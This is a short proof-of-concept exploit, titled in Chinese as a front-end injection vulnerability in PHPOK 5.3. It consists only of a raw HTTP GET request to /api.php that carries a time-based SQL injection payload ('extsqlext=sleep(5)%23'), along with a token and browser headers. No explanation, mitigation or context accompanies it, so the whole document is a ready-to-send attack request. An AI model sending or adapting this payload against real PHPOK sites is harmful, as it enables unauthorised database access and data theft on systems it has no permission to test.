PHPOK 5.3 前台注入漏洞

Request

GET /api.php?c=index&f=phpok&token=6318fdtC3WRpOzYNzKVNw78PFa9OhFea5pp3/uZ4U3T67a/F47WhJ0lr856V7yomOcG0u8/UJpIwKKOwJAKspTSWN+5ljVNWR5978g7HHoG14M&extsqlext=sleep(5)%23&extsite=1 HTTP/1.1
Host: 0-sec.org
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; U; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSION=l87bngd1u307g20iudfmphisu4
Connection: close